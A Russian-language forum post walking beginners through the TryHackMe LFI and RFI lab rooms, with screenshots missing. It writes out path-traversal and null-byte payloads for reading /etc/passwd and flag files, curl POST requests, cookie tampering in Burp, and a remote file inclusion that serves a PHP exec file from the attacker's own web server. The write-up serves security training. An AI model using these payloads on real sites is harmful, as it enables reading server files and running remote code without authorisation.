CTF TryHackMe LFI и RFI

  • Автор темы guest-1675977874
  • Дата начала
G

guest-1675977874

Всем привет;)Хотел вам рассказать про LFI и RFI уязвимости, особенно новичкам будет полезно.Итак
1671186139926.png

Перейдем в первую комнату
1671186210021.png

lab1.php - это файл.Если после него запросить файл с etc/passwd , то мы получим содержимое.Конечно, на практике такое не работает , эти все уязвимости остались позади )
Переходим во вторую комнату
1671186442334.png

Если сделать тоже самое,что и в первой комнате, то мы не сможем просмотреть содержимое файла, потому как добавляется лишняя косая черта.Мы можем просто добавить в url etc/passwd , но это тоже не сработает.Поэтому мы поступим иначе , как мы видим наш путь /var/www/html - это означает ../.../... и еще один уровень ../ теперь можно вводить etc passwd и мы прочитаем содержимое
1671186687064.png

Хорошо, приступаем к комнате номер 3.
1671186724374.png

Я ввожу слово 'codeby' , а сервер отвечает мне - codeby.php == мы не сможем посмотреть файл , как в прошлый раз , потому как будет /etc/passwd.php == такого файла нет на сервере;)В старых версиях PHP есть обход.Мы можем дописать к нашему запросу %00 и к нашему запросу формат добавляться не будет.
file=../../../../etc/passwd%00 - это работает!
Важно понимать , какие существуют самые распространенные файлы в системе.Ознакомьтесь:
1671187043463.png

Идем дальше
Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?
Попробуем получить version_id в 6 комнате.
1671187664423.png

Как мы видим у нас нет доступа к файлам.Мы можем использовать только THM-profile.Если мы добавим THM-profile в начало запроса , то сможем просмотреть файлы
1671187749438.png

Идем дальше
1671187919995.png

Переходим к самому интересному.
1671188456769.png

Теперь надо будет работать с POST запросом.Нам нужно получить /etc/flag1 , воспользуемся бурпом или curlом , чтобы просто отправить запрос и получить флаг.Вот как это выглядит:
curl -X POST -d 'method=GET&file=/etc/flag1'
забираем флаг
Переходи во вторую комнату и видим сообщение , что мы гость!
1671190028042.png

Просматривать эту страничку могут только админы.Значит мы должны посмотреть запрос через бурп
1671190119577.png

Включаем перехватчик и обновляем страничку.Как мы видим запрос GET и Cookie Guest.Мы можем поменять Guest на admin и нажать forward
1671190221582.png

Отлично, мы теперь знаем, что cookie параметр уязвим и через него можно достать флаг.Пробуем менять cookie на /etc/flag2
1671190318558.png

Мы получаем ошибку из-за косой черты и расширения php.Помните, мы уже обходили это с помощью etc/passwd и в конце дописываем %00
И опять не получается.Значит меняем запрос.Мы знаем , что мы находимся в /var/www/html значит вводим ../../../../etc/flag2%00
1671190551499.png

Ура)Забираем полученный флаг.
Переходим в 3 комнату.И осматриваемся и замечаем вот что:
1671191449044.png

Наш пэйлоад изменяется. Удаляются косые черточки и точки.Значит GET - это не наш случай.Будем отправлять запрос через curl POST
curl -X POST -d 'method=POST&file=../../../../etc/flag3%00' --output -
Забираем флаг
Переходим к последнему заданию
1671192049292.png

Поднимаем удаленную машину python3 -m http.server она будет работать на порту 8000
создаем текстовик txt с содержимым <?php print exec('hostname'); ?>
Далее создаем файл к примеру cmd.txt
и вводим в машине след.команду
http айпи сайта трайхакми / плэйграунд php файл/file= наш айпи адрес порт 8000 и файл cmd.txt
как узнать айпи? Введите ifconfig
Далее копируем полученный флаг.Мы завершили эту машину:))
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!